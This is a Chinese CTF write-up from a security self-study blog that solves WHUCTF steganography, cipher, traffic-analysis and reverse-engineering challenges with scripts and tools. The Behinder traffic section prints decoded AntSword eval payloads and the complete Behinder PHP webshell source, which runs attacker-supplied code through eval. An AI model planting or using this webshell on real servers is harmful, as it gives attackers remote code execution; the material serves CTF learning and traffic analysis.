这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。前文分享了Easy_unserialize解题思路,详细分享文件上传漏洞、冰蝎蚁剑用法、反序列化phar等。这篇文章将详细讲解WHUCTF隐写和逆向题目,包括文字解密、图片解密、佛语解码、冰蝎流量分析、逆向分析。第一次参加CTF,还是学到了很多东西。人生路上,要珍惜好每一天与家人陪伴的日子。感谢武汉大学,感谢这些大佬和师傅们(尤其出题和解题的老师们)~
作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~
PS:本文参考了WHUCTF题目及WP、安全网站和参考文献中的文章(详见参考文献),并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。
作者的github资源:
软件安全:https://github.com/eastmountyxz/Software-Security-Course
其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
CTF案例:https://github.com/eastmountyxz/CTF-Web-WP
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。
前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识(一)
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
[网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
[网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
[网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
[网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
[网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和常用渗透命令
[网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
[网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)
[网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
[网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)
[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)
[网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析(一)Python利用永恒之蓝及Win7勒索加密
[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析
[网络安全自学篇] 六十九.宏病毒之入门基础、防御措施、自发邮件及APT28样本分析
[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向
[网络安全自学篇] 七十一.深信服分享之外部威胁防护和勒索病毒对抗
[网络安全自学篇] 七十二.逆向分析之OllyDbg动态调试工具(一)基础入门及TraceMe案例分析
[网络安全自学篇] 七十三.WannaCry勒索病毒复现及分析(四)蠕虫传播机制全网源码详细解读
[网络安全自学篇] 七十四.APT攻击检测溯源与常见APT组织的攻击案例
[网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)
[网络安全自学篇] 七十六.逆向分析之OllyDbg动态调试工具(二)INT3断点、反调试、硬件断点与内存断点
[网络安全自学篇] 七十七.恶意代码与APT攻击中的武器(强推Seak老师)
[网络安全自学篇] 七十八.XSS跨站脚本攻击案例分享及总结(二)
[网络安全自学篇] 七十九.Windows PE病毒原理、分类及感染方式详解
[网络安全自学篇] 八十.WHUCTF之WEB类解题思路WP(代码审计、文件包含、过滤绕过、SQL注入)
[网络安全自学篇] 八十一.WHUCTF之WEB类解题思路WP(文件上传漏洞、冰蝎蚁剑、反序列化phar)
前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包
该题目解压之后包括两个文件,题目描述为“小p发现自己的文章被别人复制粘贴了,感到很气愤,于是他偷偷地将flag藏到了文章中,你能找到flag吗? 格式 whuctf{}”。
打开内容如下,由很多“我最帅”组成。这该如何获取Flag呢?
查看“题目.txt”看到很多重复的“我最帅”,结合题目版权保护猜测其主要考察 —— 宽字节隐写,其中零宽度字符用来作为一种水印参考ga1axy大佬的文章。
(1) 我们通过CyberChef显示文字Unicode编码内容。
CyberChef是一个简单、直观的Web应用程序,用于在Web浏览器中执行各种网络操作。这些操作包括简单的编码(如XOR或Base64)、更复杂的加密(如AES、DES和Blowfish)、创建二进制文件和hexdump、数据的压缩和解压缩、计算散列和校验和、IPv6和X.509解析、更改字符编码等。GitHub链接:https://github.com/gchq/CyberChef
打开CyberChef主页显示如下图所示,比如对“Hello”进行MD5加密。
通常零宽度字符在一般的文本编辑器中是不可见的,比如:Hello,我们用CyberChef查看一下即可发现其中的奥秘。
(2) 如果我们直接用kali vim打开也可以看到隐藏的信息,并且值字与字之间相隔8个字符,且仅有 <200d> 和 <200c> 形式。在宽字节隐写下,\u200d代表0 ,\u200c代表1,它是不是能转换成二进制呢?
可以看到里面只有 <200d> 和 <200c> 这两种零宽度字符,稍微调整一下界面如下图所示:
(3) 编写Python脚本提取“我最帅”中的内容。如果遇到“\u200d”则显示0,遇到“\u200c”则显示1,并将结果内容当作比特串转换为ascii后显示。
#coding=utf8
import binascii
f = open('题目.txt','r',encoding='utf8')
lines = f.readline()
f.close()
#转换为二进制0和1
i = 0
content = ''
for x in lines:
if x == '\u200d':
content += '0'
elif x == '\u200c':
content += '1'
#i=i+1
print("输出二进制:")
print(content)
#--------------------------------------------------------------------------------------
#base = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, a, b, c, d, e, f]
base = [str(x) for x in range(10)] + [ chr(x) for x in range(ord('a'),ord('a')+6)]
#print(base)
#二进制 to 十进制: int(str,n=10)
def bin2dec(string_num):
return str(int(string_num, 2))
#十进制 to 十六进制: hex()
def dec2hex(string_num):
num = int(string_num)
mid = []
if num == 0:
return '0'
while True:
if num == 0: break
num,rem = divmod(num, 16)
mid.append(base[rem])
return ''.join([str(x) for x in mid[::-1]])
#二进制 to 十六进制: hex(int(str,2))
def bin2hex(string_num):
return dec2hex(bin2dec(string_num))
#--------------------------------------------------------------------------------------
#转换为十六进制
k = 0
result = ''
num = ''
while k < len(content):
if k!=0 and (k+1) % 4 == 0:
num += content[k]
result += bin2hex(num) #二进制转十六进制
#print(num)
#print(bin2hex(num),'\n')
num = ''
else:
num += content[k]
k += 1
print("\n输出十六进制:")
print(result)
#提取flag
result = result + '0'
flag = binascii.unhexlify(result)
print("\n输出flag:")
print(flag)
输出结果如下图所示,whuctf结果为{Y0u_kn0w_h0w_t0_pr0tect111}。
同时,我们可以通过在线网站将0和1二进制直接转换为十六进制,然后调用binascii.unhexlify函数即可获取flag。
补充其他师傅的Python脚本方法:
with open( '题目.txt', 'rb') as f:
str = f.read()
print(str)
length = len(str)
i = 0
s = 0
sum = 0
while i < length:
if (int(str[i]) == 226 and int(str[i+1]) == 128 and int(str[i+2]) == 141):
sum = sum*2
s = s+1
if s % 8 == 0:
print(chr(sum), end='')
sum = 0
if (int(str[i]) == 226 and int(str[i+1]) == 128 and int(str[i+2]) == 140):
sum = sum*2
sum = sum+1
s = s+1
if s % 8 == 0:
print(chr(sum), end='')
sum = 0
i = i+3
最后补充武大CTF师傅的WP代码和参考文献,确实跟他们学到很多,推荐大家学习。
该题目提供的是一张早餐图片“yummy.jpeg”,同时提示信息为“一日之计在于晨,你过早了吗? 这是我的早餐,有我喜欢的食物,有你喜欢的flag”。
看到这个题肯定想到是图片隐写,图片打开如下图所示,建议读者去我Github链接下载。
之前做过图片隐写的CTF题目,我的第一想法就是能否用Stegsolve工具获取二维码,然后扫描提取flag,如下图所示。哈哈,还是自己太菜了,想得太简单了~
但这道题目,并没有反映。
真正的解决方法是通过另一个工具steghide解出隐藏的内容。
Steghide是一款开源的隐写术软件,它可以让你在一张图片或者音频文件中隐藏你的秘密信息,而且你不会注意到图片或音频文件发生了任何的改变。Steghide是一个命令行软件,其安装语句为“apt-get install steghide”,大家在第一次使用时可以调用steghide --help查看帮助信息。
第一步,在Linux系统中安装steghide。
sudo apt-get install steghide
第二步,在steghide中输入如下命令获取信息。
通过steghide提取出c.txt,如下所示。
yxz@DESKTOP-KUPRQ86:~$ steghide extract -sf yummy.jpeg
Enter passphrase:
wrote extracted data to "c.txt".
yxz@DESKTOP-KUPRQ86:~$
打开c.txt文件如下:
ABAAABAABBABAAABAABAABAAAABBAAABBBBABBBABAAABBAABBAAAAAABBABBAABBBAABBABBBAAABAAAAAAABAABBAAAABBAAABAABAAAAAAAABABAAABABAAAAABAABABAABB
第三步,仅有A和B组成,这是培根(Bacon)密码,然后对其进行解密。
培根密码实际上就是一种替换密码,根据所给表一一对应转换即可加密解密 。
我们通过在线解密网址进行解密,网址为:https://tool.bugku.com/peigen/
最终的flag值为:whuctf{ITISIMPORTANTTOEATBREAKFAST}
第四步,补充知识。
如果我们想在“mm.jpg”图片中隐藏一段密码。
密码为“secret.txt”中的内容“CSDN eastmount”,如下图所示:
使用如下命令即可实现:
steghide embed -cf [图片文件载体] -ef [待隐藏文件]
steghide embed -cf mm.jpg -ef secret.txt
此时我们用Notepad++等软件时候看不到隐藏信息的,如果想查看,则要输入如下命令:
steghide info mm.jpg
为了便于区分,我们将隐藏信息后的图片移动到另一个文件夹内解压,然后获取加密的文件,使用命令如下:
steghide extract -sf mm.jpg
最终提取“secret.txt”文件并获取密码“CSDN eastmount”。
是不是非常有意思,O(∩_∩)O
参考及推荐文章:
该题目提供的是一段描述,我看见我的朋友BingGe坐在信部网球场的栅栏边上看一本佛经,我很好奇,也过去看,只见上面写着:
佛曰:般羅穆僧冥神大侄所隸奢尼哆恐侄大藐若故曳咒室呐阿竟諳他缽悉爍諦哆咒豆苦缽尼帝所冥等上哆瑟俱薩諸諳伊冥特諳實怯他罰不參亦皤有婆僧藝俱羯怯至皤滅知真哆訶亦能怯瑟梵陀奢知呼故梵夢死有皤能薩曰俱穆勝竟怯明奢參世缽佛皤羯瑟奢孕梵逝楞呐醯故奢想謹提諦盡侄阿哆利俱吉罰老謹涅神能皤集實輸奢薩奢數哆波者俱勝俱所遠盡呐倒利闍盧諦罰薩梵曰度提大諦哆穆輸醯怯參侄諸娑梵伽知勝穆伊顛冥參道冥有
看到这个题知道是考察文字解密,比如之前分享过“王”字解密,那么这道题怎么做呢?
在CTF Crypto中,解码佛语是常见题型。
第一步,我们通过在线网站解密佛语。
在网站中输入内容并点击“参悟佛所言的真意”,解码获取数据为:
767566536773bf1ef643676363676784e1d015847635575637560ff4f41d
注意:这里佛语前边要(中文冒号)加上“佛曰:” 或者 “如是我闻:”。同理,如果我们需要对字符串进行加密,如“flag{eastmount}”,则点击“听佛说宇宙的真谛”即可。
第二步,题目提醒“栅栏边上”,于是联想栅栏密码,多次尝试栅栏解密+hex to ascii,发现为6时能得到flag。
栅栏密码是一种置换密码。例如密文:TEOGSDYUTAENNHLNETAMSHVAED
解密过程:先将密文分为两行
T E O G S D Y U T A E N N
H L N E T A M S H V A E D
再按上下上下的顺序组合成一句话:THE LONGEST DAY MUST HAVE AN END
通过在线网站解密得到结果:
7768756374667b6e305f315f616d5f6e30745f615f36756464683173747d
第三步,进行16进制解密获取flag。
import binascii
num = '7768756374667b6e305f315f616d5f6e30745f615f36756464683173747d'
flag = binascii.unhexlify(num)
print(flag)
#'whuctf{n0_1_am_n0t_a_6uddh1st}'
参考及推荐文章:
该题目提供的是一个pca文件,需要对其进行解密。
文件名称为“shellofAWD.pcapng”。
由于之前没做过类似的题目,该题只能参考各位师傅的WP,当然pca文件我用Wireshark导出过。
出题思路
该题的考点是冰蝎的加密流量分析,它模拟了与Webshell交互的过程,给了一个流量包并用Wireshark分析。其出题思路为:在虚拟机中开一个Web服务,将蚁剑的base64马拖进去,通过蚁剑的马上传一个冰蝎的马,执行 ln -s /flag jquery.min.js,这样 jquery.min.js 就指向了 flag,读它就得到最终的flag。
下面解题参考师傅们的文章:
- WHUCTF官方WP
- 2020_WHUCTF_Writeup - Ly-sec-l师傅
- http://www.peiqi.tech/posts/6576/#shellOfAwd-木马流量分析 - peiqi师傅
- http://www.ga1axy.top/index.php/archives/36/#shellofawd - ga1axy师傅
whuctf.md - prontosil师傅
第一步,Wireshark软件打开“shellofAWD.pcapng”文件。
打开流量包,过滤http可以发现两条pass=xxx的流量,这是冰蝎流量的特征。
第二步,任选其中一条,追踪TCP流,在流中可以看到有两个返回的长度为16的字符串,这是冰蝎流量的解密密钥。
冰蝎流量的解密密钥:
追踪一下TCP也看到了一个密钥协商的阶段,如下图所示,密钥协商(木马特征)的两个步骤如下。
我们在翻看TCP流的时候可以看到在第五流之前都是蚁剑的base64加密流量,从5开始为冰蝎的加密流量(上图右下角流为5),且密钥为91ee1bfc4fd27c90。
第三步,通过在线网站行流量解密,解密流程是 AES解密–>base64解密—>原始数据。
我们需要知道的是冰蝎通常采用AES加密,可以参考:
选中一段流量进行AES在线解密。
输出结果为解密后的信息,如下图所示:
得到base64加密的字符串,再次解密,可以看到这段解密结果为文件名称。
同样,我们可以尝试Python解密流量。下面请求表示:ant参数会执行 _0x6aa401ad3c537 变量内容,该参数此处执行了查看文件路径以及系统信息的命令。
>>> import base64
>>> s='ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtfMHg2YWE0MDFhZDNjNTM3XSkpO2RpZSgpOw=='
>>> base64.b64decode(s)
'eval(base64_decode($_POST[_0x6aa401ad3c537]));die();'
>>> t='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiMmUwZWJlYTU1OTIiO2VjaG8gQGFzZW5jKCRvdXRwdXQpO2VjaG8gIjYyZTgwMGEwIjt9b2Jfc3RhcnQoKTt0cnl7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JFI9InskRH0JIjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJDIiwiWiIpYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO31lbHNleyRSLj0iLyI7fSRSLj0iCSI7JHU9KGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0ZWdpZCIpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6IiI7JHM9KCR1KT8kdVsibmFtZSJdOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iCXskc30iO2VjaG8gJFI7O31jYXRjaChFeGNlcHRpb24gJGUpe2VjaG8gIkVSUk9SOi8vIi4kZS0%2BZ2V0TWVzc2FnZSgpO307YXNvdXRwdXQoKTtkaWUoKTs='
>>> base64.b64decode(t)
'@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "2e0ebea5592";echo @asenc($output);echo "62e800a0";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="\t";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="\t{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e-6\x05\x9d\x95\xd15\x95\xcd\xcd\x85\x9d\x94\xa0\xa4\xed\xf4\xed\x85\xcd\xbd\xd5\xd1\xc1\xd5\xd0\xa0\xa4\xed\x91\xa5\x94\xa0\xa4\xec'
第四步,最终依次解密流量,获得最终flag值。
5U+SIO3pbt0CXFm7gLAx3xT7q0qDPFaCK8lNevS6Nrmak6Hhj9PXx3ZlGnMIgkqnqHmf6ba5VvtRMgJP6wUtoMXx5WeYJvobewjKDmZ8sSUCZJhKzzkX2ISKKy/snPv+6UOh5rBo6j/JvFGUOUjkKCbCe+nEGD9EKyv10Uu9KHU=
解密过程如下:
//$flag = "whuctf{cd768eac-0746-4979-a40d-5b6a269c4dde}"
?>
同时,作者补充冰蝎的一句话木马,其实也可以从流量中解密出来。后面作者会详细讲解一篇它的用法及原理,也推荐大家仔细阅读先知社区的那篇文章 红蓝对抗——加密Webshell“冰蝎”攻防。
@error_reporting(0);
session_start();
if (isset($_GET['shell']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
}
?>
该题目提供的是一个minigame-1.7z文件,需要从中获取flag。
文件解压之后如下图所示:
看到游戏我们就可能比较蒙,但我们先审查文件看看有什么蹊跷没有。
第一步,我们在审核文件是,发现txt文件夹下的“game12345.txt”文件问题,它的时间和其他的不太一样喔!
也就是说作者编译程序之后才加的flag,注意时间是什么时候,比赛快开始的时候,那flag肯定在里面。打开该文件显示如下图所示:
第二步,分析“game12345.txt”文件发现汉字是逆序的,那么是否能直接搜索flag呢?
顺序格式:whuctf{}
逆序格式:}{ftcuhw
搜索ftcuhw显示结果如下,flag值为:whuctf{wechat_g4m1}。
另一种解题方法是这样的,我们使用微信开发者程序中打开该工程。模拟运行后,程序入口为main.js。接着分析main.js,找到了分数变化的函数。
子弹击中后会将分数加1。根据题目提示,改为每次加10000,再次编译运行,结束后得到flag。
最后补充武大CTF师傅的WP代码和参考文献,推荐大家学习。
接下来是逆向分析的题目,给出的是WHURE1.exe程序。
运行结果如下图所示:
逆向分析推荐大家动静态结合分析,这里我采用OD(动态)和IDA(静态)结合。
第一步,通过OD打开EXE程序显示如下所示。
第二步,在反汇编窗口右键鼠标,选择“查找”->“所有参考文本字串”。
我们看到了目标“gj, the flag is WHUCTF{%s}”。
第三步,选中该行内容,右键选择“反汇编窗口中跟随”。
接着定位到如下图所示位置,其中CALL WHURE1.003A1020为调用函数(003A1171),我们可以按下F2设置断点进行动态调式。
也可以将003A1176位置设置为新的EIP。
然后按下F7单步进入调试,下图展示了OD调试的过程。
第四步,用IDA打开EXE程序。
按下F5可以查看源代码。
第五步,找到“WHUCTF”字符串的位置,然后查看对应的源代码,即sub_401090()函数,接下来分析该源代码推断输出flag的情况。
对应的源代码为sub_401090()函数,如下图所示。
源代码为:
int sub_401090()
{
char v0; // ST1C_1
char v1; // ST18_1
char v2; // ST14_1
char v3; // ST10_1
char v4; // ST0C_1
unsigned int v5; // ecx
char v6; // dl
signed int v7; // edx
__int64 *v8; // ecx
__int64 v10; // [esp+0h] [ebp-30h]
__int64 v11; // [esp+8h] [ebp-28h]
__int64 v12; // [esp+10h] [ebp-20h]
int v13; // [esp+18h] [ebp-18h]
int v14; // [esp+1Ch] [ebp-14h]
int v15; // [esp+20h] [ebp-10h]
__int64 v16; // [esp+24h] [ebp-Ch]
v13 = 0;
v10 = 0i64;
v11 = 0i64;
v12 = 0i64;
v14 = 9;
v15 = 2;
v16 = 0i64;
((void (__cdecl *)(const char *, char))sub_401020)(
" __ \n",
0);
((void (__cdecl *)(const char *, char))sub_401020)(
" _ _ _ _ _ _ _ _ _____ _____ _____ _____ _____| |\n",
v0);
((void (__cdecl *)(const char *, char))sub_401020)(
"| | | |___| |___ ___ _____ ___ | |_ ___ | | | | | | | | |_ _| __| |\n",
v1);
((void (__cdecl *)(const char *, char))sub_401020)(
"| | | | -_| | _| . | | -_| | _| . | | | | | | | | --| | | | __|__|\n",
v2);
((void (__cdecl *)(const char *, char))sub_401020)(
"|_____|___|_|___|___|_|_|_|___| |_| |___| |_____|__|__|_____|_____| |_| |__| |__|\n",
v3);
((void (__cdecl *)(const char *, char))sub_401020)("plz input your serial number\n", v4);
sub_401050("%7s", (unsigned int)&v16);
v5 = 0;
do
{
v6 = *((_BYTE *)&v16 + v5);
if ( (unsigned __int8)(v6 - 48) > 9u )
{
sub_401020("error input !\n");
exit(0);
}
*((_DWORD *)&v10 + v5++) = v6 - 48;
}
while ( v5 < 7 );
if ( (_DWORD)v12 != 5 )
{
LABEL_10:
sub_401020("wrong,check your input\n");
exit(0);
}
v7 = 0;
v8 = &v11;
do
{
if ( *(_DWORD *)v8 + *((_DWORD *)v8 - 1) + *((_DWORD *)v8 - 2) != 15
|| *(&v13 + v7) + *((_DWORD *)&v11 + v7 + 1) + *((_DWORD *)&v10 + v7) != 15 )
{
goto LABEL_10;
}
++v7;
v8 = (__int64 *)((char *)v8 + 12);
}
while ( v7 < 3 );
sub_401020("gj, the flag is WHUCTF{%s}\n", (unsigned int)&v16);
return 0;
}
第六步,分析源代码。
(1) 输入为一个7字节的字符串。
(2) 输入大于48(数字0)。
(3) 第5个数字要为5。
(4) 进行三轮判断。
d3 + d2 + d1 =15
d7 + d4 + d1 =15
d6 + d5 + d4 =15
d8 + d5 + d2 =15
d9 + d8 + d7 =15
d9 + d6 + d3 =15
撰写的Python脚本如下所示,其中di表示第i个字节,动态调试发现d8=9 d9=2 。所以可以进行枚举,代码如下。
for d1 in range(5,10):
d2=1
d3=14-d1
d4=11-d1
d5=5
d6=d1-1
d7=4
print(d1,d2,d3,d4,d5,d6,d7)
输出结果如下图所示,但题目提示“无重复数字”,故结果为“8163574”。
总结:3*3数独,满足行列和等于15,以及无重复数字即可。动态调试可以较快的分析清对输入变量的约束条件。
参考即推荐文献:
写到这里,这篇文章就介绍完毕,希望对您有所帮助。学安全近一年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,感谢师傅、师兄师弟、师姐师妹们的教导,深知自己很菜,得努力前行。最后还是那句话,人生路上,好好享受陪伴家人的日子,那才是最幸福的事情,爱你~
欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。
虽然非常忙,但每当看到博友的提问或交流都不忍拒绝,其实自己真的快忙疯了。看到这些大山走出去的学生,大一新生,求职研究生或遇到问题的朋友,都想帮他们一把,因为我们也是在很多人的帮助下成长起来的。而看到很多私活、广告、合作、出书之类的私信,我都会拒绝或不回时光飞逝,还有太多知识要去学习,太多陪伴要去争取,太多文字要去记录,且行且珍惜,最爱的人,晚安。
(By:Eastmount 2020-06-04 晚上10点写于贵阳 http://blog.csdn.net/eastmount/ )